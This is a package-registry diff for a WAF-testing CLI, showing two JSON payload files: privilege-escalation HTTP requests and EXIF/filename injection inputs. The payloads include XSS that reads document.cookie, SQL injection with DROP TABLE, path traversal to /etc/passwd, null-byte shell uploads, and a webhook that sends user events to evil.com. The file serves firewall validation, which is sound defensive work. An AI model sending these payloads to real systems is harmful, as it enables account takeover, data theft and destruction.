@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
@@ -0,0 +1,337 @@
1
+ [
2
+ {
3
+ "id": "LOGIC-PRIV-001",
4
+ "payload": "POST /api/users/1 HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"role\":\"admin\"}",
5
+ "tags": [
6
+ "privilege",
7
+ "role-escalation",
8
+ "quick",
9
+ "critical"
10
+ ],
11
+ "expected_block": true,
12
+ "severity_hint": "Critical",
13
+ "notes": "Direct role escalation to admin",
14
+ "destructive": true,
15
+ "category": "Logic"
16
+ },
17
+ {
18
+ "id": "LOGIC-PRIV-002",
19
+ "payload": "PATCH /api/users/me HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"is_admin\":true}",
20
+ "tags": [
21
+ "privilege",
22
+ "self-escalation",
23
+ "critical"
24
+ ],
25
+ "expected_block": true,
26
+ "severity_hint": "Critical",
27
+ "notes": "Self-escalation via is_admin flag",
28
+ "destructive": true,
29
+ "category": "Logic"
30
+ },
31
+ {
32
+ "id": "LOGIC-PRIV-003",
33
+ "payload": "PUT /api/users/me HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"permissions\":[\"admin\",\"write\",\"delete\"]}",
34
+ "tags": [
35
+ "privilege",
36
+ "permission-override"
37
+ ],
38
+ "expected_block": true,
39
+ "severity_hint": "Critical",
40
+ "notes": "Permission array override for privilege escalation",
41
+ "destructive": true,
42
+ "category": "Logic"
43
+ },
44
+ {
45
+ "id": "LOGIC-PRIV-004",
46
+ "payload": "POST /api/users/me/promote HTTP/1.1\r\nHost: target.com\r\n\r\n",
47
+ "tags": [
48
+ "privilege",
49
+ "promotion-endpoint"
50
+ ],
51
+ "expected_block": true,
52
+ "severity_hint": "Critical",
53
+ "notes": "Attempt to call promotion endpoint directly",
54
+ "destructive": true,
55
+ "category": "Logic"
56
+ },
57
+ {
58
+ "id": "LOGIC-PRIV-005",
59
+ "payload": "POST /api/admin/grant-access HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"user_id\":2,\"role\":\"admin\"}",
60
+ "tags": [
61
+ "privilege",
62
+ "grant-access",
63
+ "critical"
64
+ ],
65
+ "expected_block": true,
66
+ "severity_hint": "Critical",
67
+ "notes": "Attempt to grant admin access to another user",
68
+ "destructive": true,
69
+ "category": "Logic"
70
+ },
71
+ {
72
+ "id": "LOGIC-PRIV-006",
73
+ "payload": "PUT /api/users/1/role HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"role\":\"superadmin\"}",
74
+ "tags": [
75
+ "privilege",
76
+ "superadmin"
77
+ ],
78
+ "expected_block": true,
79
+ "severity_hint": "Critical",
80
+ "notes": "Escalation to superadmin role",
81
+ "destructive": true,
82
+ "category": "Logic"
83
+ },
84
+ {
85
+ "id": "LOGIC-PRIV-007",
86
+ "payload": "POST /api/users HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"username\":\"hacker\",\"role\":\"admin\",\"active\":true}",
87
+ "tags": [
88
+ "privilege",
89
+ "user-creation",
90
+ "critical"
91
+ ],
92
+ "expected_block": true,
93
+ "severity_hint": "Critical",
94
+ "notes": "Create new user with admin role",
95
+ "destructive": true,
96
+ "category": "Logic"
97
+ },
98
+ {
99
+ "id": "LOGIC-PRIV-008",
100
+ "payload": "PATCH /api/workflows/1 HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"owner_id\":1}",
101
+ "tags": [
102
+ "privilege",
103
+ "ownership-change"
104
+ ],
105
+ "expected_block": true,
106
+ "severity_hint": "High",
107
+ "notes": "Change workflow ownership (n8n-specific)",
108
+ "destructive": true,
109
+ "category": "Logic"
110
+ },
111
+ {
112
+ "id": "LOGIC-PRIV-009",
113
+ "payload": "POST /api/albums/1/share HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"user_id\":999,\"permission\":\"write\"}",
114
+ "tags": [
115
+ "privilege",
116
+ "sharing-abuse"
117
+ ],
118
+ "expected_block": true,
119
+ "severity_hint": "High",
120
+ "notes": "Grant write access to someone else's album (Immich)",
121
+ "destructive": true,
122
+ "category": "Logic"
123
+ },
124
+ {
125
+ "id": "LOGIC-PRIV-010",
126
+ "payload": "PUT /api/users/me HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"groups\":[\"administrators\"]}",
127
+ "tags": [
128
+ "privilege",
129
+ "group-escalation",
130
+ "quick"
131
+ ],
132
+ "expected_block": true,
133
+ "severity_hint": "Critical",
134
+ "notes": "Add self to administrators group",
135
+ "destructive": true,
136
+ "category": "Logic"
137
+ },
138
+ {
139
+ "id": "LOGIC-PRIV-011",
140
+ "payload": "POST /api/tokens HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"user_id\":1,\"scope\":\"admin\"}",
141
+ "tags": [
142
+ "privilege",
143
+ "token-forge"
144
+ ],
145
+ "expected_block": true,
146
+ "severity_hint": "Critical",
147
+ "notes": "Forge admin-scoped token for another user",
148
+ "destructive": true,
149
+ "category": "Logic"
150
+ },
151
+ {
152
+ "id": "LOGIC-PRIV-012",
153
+ "payload": "PUT /api/settings HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"allow_registration\":true,\"default_role\":\"admin\"}",
154
+ "tags": [
155
+ "privilege",
156
+ "settings-manipulation",
157
+ "critical"
158
+ ],
159
+ "expected_block": true,
160
+ "severity_hint": "Critical",
161
+ "notes": "Manipulate settings to create admin accounts",
162
+ "destructive": true,
163
+ "category": "Logic"
164
+ },
165
+ {
166
+ "id": "LOGIC-PRIV-013",
167
+ "payload": "POST /api/users/1/impersonate HTTP/1.1\r\nHost: target.com\r\n\r\n",
168
+ "tags": [
169
+ "privilege",
170
+ "impersonation"
171
+ ],
172
+ "expected_block": true,
173
+ "severity_hint": "Critical",
174
+ "notes": "Attempt to impersonate admin user",
175
+ "destructive": false,
176
+ "category": "Logic"
177
+ },
178
+ {
179
+ "id": "LOGIC-PRIV-014",
180
+ "payload": "GET /api/admin/users HTTP/1.1\r\nHost: target.com\r\nX-Original-User-Id: 1\r\n\r\n",
181
+ "tags": [
182
+ "privilege",
183
+ "header-injection"
184
+ ],
185
+ "expected_block": true,
186
+ "severity_hint": "Critical",
187
+ "notes": "Header injection to impersonate admin",
188
+ "destructive": false,
189
+ "category": "Logic"
190
+ },
191
+ {
192
+ "id": "LOGIC-PRIV-015",
193
+ "payload": "POST /api/execute-workflow HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"workflow_id\":1,\"as_user\":1}",
194
+ "tags": [
195
+ "privilege",
196
+ "execution-context"
197
+ ],
198
+ "expected_block": true,
199
+ "severity_hint": "High",
200
+ "notes": "Execute workflow in another user's context (n8n)",
201
+ "destructive": true,
202
+ "category": "Logic"
203
+ },
204
+ {
205
+ "id": "LOGIC-PRIV-016",
206
+ "payload": "DELETE /api/users/1/sessions HTTP/1.1\r\nHost: target.com\r\n\r\n",
207
+ "tags": [
208
+ "privilege",
209
+ "session-hijack"
210
+ ],
211
+ "expected_block": true,
212
+ "severity_hint": "High",
213
+ "notes": "Terminate other user's sessions (DoS attack)",
214
+ "destructive": true,
215
+ "category": "Logic"
216
+ },
217
+ {
218
+ "id": "LOGIC-PRIV-017",
219
+ "payload": "POST /api/webhooks/admin HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"url\":\"https://evil.com/collect\",\"events\":[\"user.created\",\"user.updated\"]}",
220
+ "tags": [
221
+ "privilege",
222
+ "webhook-abuse",
223
+ "critical"
224
+ ],
225
+ "expected_block": true,
226
+ "severity_hint": "Critical",
227
+ "notes": "Register webhook for admin events",
228
+ "destructive": true,
229
+ "category": "Logic"
230
+ },
231
+ {
232
+ "id": "LOGIC-PRIV-018",
233
+ "payload": "PUT /api/users/me HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"email\":\"admin@company.com\"}",
234
+ "tags": [
235
+ "privilege",
236
+ "email-takeover"
237
+ ],
238
+ "expected_block": true,
239
+ "severity_hint": "Critical",
240
+ "notes": "Change email to admin's email (account takeover)",
241
+ "destructive": true,
242
+ "category": "Logic"
243
+ },
244
+ {
245
+ "id": "LOGIC-PRIV-019",
246
+ "payload": "POST /api/reset-password HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"user_id\":1,\"new_password\":\"hacked123\"}",
247
+ "tags": [
248
+ "privilege",
249
+ "password-reset",
250
+ "critical"
251
+ ],
252
+ "expected_block": true,
253
+ "severity_hint": "Critical",
254
+ "notes": "Reset another user's password without authorization",
255
+ "destructive": true,
256
+ "category": "Logic"
257
+ },
258
+ {
259
+ "id": "LOGIC-PRIV-020",
260
+ "payload": "POST /api/api-keys HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"user_id\":1,\"permissions\":[\"admin\"]}",
261
+ "tags": [
262
+ "privilege",
263
+ "api-key-forge"
264
+ ],
265
+ "expected_block": true,
266
+ "severity_hint": "Critical",
267
+ "notes": "Create admin API key for another user",
268
+ "destructive": true,
269
+ "category": "Logic"
270
+ },
271
+ {
272
+ "id": "LOGIC-PRIV-021",
273
+ "payload": "PATCH /api/organizations/1 HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"owner_id\":2}",
274
+ "tags": [
275
+ "privilege",
276
+ "org-takeover"
277
+ ],
278
+ "expected_block": true,
279
+ "severity_hint": "Critical",
280
+ "notes": "Change organization ownership (Authentik)",
281
+ "destructive": true,
282
+ "category": "Logic"
283
+ },
284
+ {
285
+ "id": "LOGIC-PRIV-022",
286
+ "payload": "POST /api/sudo HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"command\":\"grant_admin\",\"target_user\":2}",
287
+ "tags": [
288
+ "privilege",
289
+ "sudo-abuse"
290
+ ],
291
+ "expected_block": true,
292
+ "severity_hint": "Critical",
293
+ "notes": "Abuse sudo/elevation endpoint",
294
+ "destructive": true,
295
+ "category": "Logic"
296
+ },
297
+ {
298
+ "id": "LOGIC-PRIV-023",
299
+ "payload": "PUT /api/features HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"admin_panel\":true,\"user_id\":2}",
300
+ "tags": [
301
+ "privilege",
302
+ "feature-flag"
303
+ ],
304
+ "expected_block": true,
305
+ "severity_hint": "High",
306
+ "notes": "Enable admin features via feature flags",
307
+ "destructive": true,
308
+ "category": "Logic"
309
+ },
310
+ {
311
+ "id": "LOGIC-PRIV-024",
312
+ "payload": "POST /api/users/1/mfa/disable HTTP/1.1\r\nHost: target.com\r\n\r\n",
313
+ "tags": [
314
+ "privilege",
315
+ "mfa-disable"
316
+ ],
317
+ "expected_block": true,
318
+ "severity_hint": "Critical",
319
+ "notes": "Disable MFA for another user",
320
+ "destructive": true,
321
+ "category": "Logic"
322
+ },
323
+ {
324
+ "id": "LOGIC-PRIV-025",
325
+ "payload": "GET /api/admin/audit-logs HTTP/1.1\r\nHost: target.com\r\n\r\n",
326
+ "tags": [
327
+ "privilege",
328
+ "audit-access",
329
+ "quick"
330
+ ],
331
+ "expected_block": true,
332
+ "severity_hint": "High",
333
+ "notes": "Access admin audit logs without authorization",
334
+ "destructive": false,
335
+ "category": "Logic"
336
+ }
337
+ ]
@@ -0,0 +1,225 @@
1
+ [
2
+ {
3
+ "id": "MEDIA-EXIF-001",
4
+ "payload": "/api/assets/upload?filename=image.jpg&exif_comment=<script>alert(1)</script>",
5
+ "tags": [
6
+ "exif-injection",
7
+ "xss",
8
+ "quick",
9
+ "high"
10
+ ],
11
+ "expected_block": false,
12
+ "severity_hint": "High",
13
+ "notes": "XSS in EXIF comment field",
14
+ "category": "Media"
15
+ },
16
+ {
17
+ "id": "MEDIA-EXIF-002",
18
+ "payload": "/api/assets/upload?filename=image.jpg&exif_artist=<img src=x onerror=alert(document.cookie)>",
19
+ "tags": [
20
+ "exif-injection",
21
+ "xss",
22
+ "high"
23
+ ],
24
+ "expected_block": false,
25
+ "severity_hint": "High",
26
+ "notes": "XSS in EXIF artist field",
27
+ "category": "Media"
28
+ },
29
+ {
30
+ "id": "MEDIA-EXIF-003",
31
+ "payload": "/api/assets/upload?filename=../../etc/passwd.jpg",
32
+ "tags": [
33
+ "exif-injection",
34
+ "path-traversal",
35
+ "quick",
36
+ "critical"
37
+ ],
38
+ "expected_block": true,
39
+ "severity_hint": "Critical",
40
+ "notes": "Path traversal in filename",
41
+ "category": "Media"
42
+ },
43
+ {
44
+ "id": "MEDIA-EXIF-004",
45
+ "payload": "/api/assets/upload?filename=image.jpg&exif_copyright=' OR '1'='1",
46
+ "tags": [
47
+ "exif-injection",
48
+ "sqli",
49
+ "high"
50
+ ],
51
+ "expected_block": false,
52
+ "severity_hint": "High",
53
+ "notes": "SQLi in EXIF copyright field",
54
+ "category": "Media"
55
+ },
56
+ {
57
+ "id": "MEDIA-EXIF-005",
58
+ "payload": "/api/assets/upload?filename=image.jpg&exif_description={{7*7}}",
59
+ "tags": [
60
+ "exif-injection",
61
+ "ssti",
62
+ "quick",
63
+ "high"
64
+ ],
65
+ "expected_block": false,
66
+ "severity_hint": "High",
67
+ "notes": "SSTI in EXIF description",
68
+ "category": "Media"
69
+ },
70
+ {
71
+ "id": "MEDIA-EXIF-006",
72
+ "payload": "/api/assets/upload?filename=shell.php%00.jpg",
73
+ "tags": [
74
+ "exif-injection",
75
+ "null-byte",
76
+ "file-upload",
77
+ "critical"
78
+ ],
79
+ "expected_block": true,
80
+ "severity_hint": "Critical",
81
+ "notes": "Null byte injection in filename",
82
+ "category": "Media"
83
+ },
84
+ {
85
+ "id": "MEDIA-EXIF-007",
86
+ "payload": "/api/assets/upload?filename=‮gpj.exe",
87
+ "tags": [
88
+ "exif-injection",
89
+ "unicode",
90
+ "rtlo",
91
+ "high"
92
+ ],
93
+ "expected_block": false,
94
+ "severity_hint": "High",
95
+ "notes": "Right-to-Left Override (RTLO) attack in filename",
96
+ "category": "Media"
97
+ },
98
+ {
99
+ "id": "MEDIA-EXIF-008",
100
+ "payload": "/api/assets/upload?filename=image.jpg&exif_gps_latitude='; DROP TABLE assets;--",
101
+ "tags": [
102
+ "exif-injection",
103
+ "sqli",
104
+ "geolocation",
105
+ "quick",
106
+ "high"
107
+ ],
108
+ "expected_block": false,
109
+ "severity_hint": "High",
110
+ "notes": "SQLi in GPS latitude metadata",
111
+ "category": "Media"
112
+ },
113
+ {
114
+ "id": "MEDIA-EXIF-009",
115
+ "payload": "/api/assets/upload?filename=image.jpg&exif_make=<svg/onload=alert(1)>",
116
+ "tags": [
117
+ "exif-injection",
118
+ "xss",
119
+ "svg",
120
+ "high"
121
+ ],
122
+ "expected_block": false,
123
+ "severity_hint": "High",
124
+ "notes": "SVG-based XSS in EXIF camera make",
125
+ "category": "Media"
126
+ },
127
+ {
128
+ "id": "MEDIA-EXIF-010",
129
+ "payload": "/api/assets/upload?filename=image.jpg&exif_software=../../bin/sh",
130
+ "tags": [
131
+ "exif-injection",
132
+ "path-traversal",
133
+ "medium"
134
+ ],
135
+ "expected_block": true,
136
+ "severity_hint": "Medium",
137
+ "notes": "Path traversal in EXIF software field",
138
+ "category": "Media"
139
+ },
140
+ {
141
+ "id": "MEDIA-EXIF-011",
142
+ "payload": "/api/assets/upload?filename=\u0000etc\u0000passwd.jpg",
143
+ "tags": [
144
+ "exif-injection",
145
+ "null-byte",
146
+ "unicode",
147
+ "quick",
148
+ "high"
149
+ ],
150
+ "expected_block": true,
151
+ "severity_hint": "High",
152
+ "notes": "Null byte path traversal via Unicode",
153
+ "category": "Media"
154
+ },
155
+ {
156
+ "id": "MEDIA-EXIF-012",
157
+ "payload": "/api/assets/upload?filename=image.jpg&exif_user_comment=javascript:void(0)",
158
+ "tags": [
159
+ "exif-injection",
160
+ "xss",
161
+ "javascript-protocol",
162
+ "high"
163
+ ],
164
+ "expected_block": false,
165
+ "severity_hint": "High",
166
+ "notes": "JavaScript protocol in EXIF user comment",
167
+ "category": "Media"
168
+ },
169
+ {
170
+ "id": "MEDIA-EXIF-013",
171
+ "payload": "/api/assets/upload?filename=image.jpg&exif_image_description=data:text/html,<script>alert(1)</script>",
172
+ "tags": [
173
+ "exif-injection",
174
+ "xss",
175
+ "data-uri",
176
+ "high"
177
+ ],
178
+ "expected_block": false,
179
+ "severity_hint": "High",
180
+ "notes": "Data URI XSS in EXIF description",
181
+ "category": "Media"
182
+ },
183
+ {
184
+ "id": "MEDIA-EXIF-014",
185
+ "payload": "/api/assets/upload?filename=.\\..\\..\\windows\\system32\\cmd.exe",
186
+ "tags": [
187
+ "exif-injection",
188
+ "path-traversal",
189
+ "windows",
190
+ "quick",
191
+ "critical"
192
+ ],
193
+ "expected_block": true,
194
+ "severity_hint": "Critical",
195
+ "notes": "Windows path traversal in filename",
196
+ "category": "Media"
197
+ },
198
+ {
199
+ "id": "MEDIA-EXIF-015",
200
+ "payload": "/api/assets/upload?filename=image.jpg&exif_datetime=${{7*7}}",
201
+ "tags": [
202
+ "exif-injection",
203
+ "expression-injection",
204
+ "medium"
205
+ ],
206
+ "expected_block": false,
207
+ "severity_hint": "Medium",
208
+ "notes": "Expression language injection in datetime",
209
+ "category": "Media"
210
+ },
211
+ {
212
+ "id": "MEDIA-EXIF-016",
213
+ "payload": "/api/assets/upload?filename=con.jpg",
214
+ "tags": [
215
+ "exif-injection",
216
+ "windows",
217
+ "reserved-name",
218
+ "low"
219
+ ],
220
+ "expected_block": false,
221
+ "severity_hint": "Low",
222
+ "notes": "Windows reserved filename (CON device)",
223
+ "category": "Media"
224
+ }
225
+ ]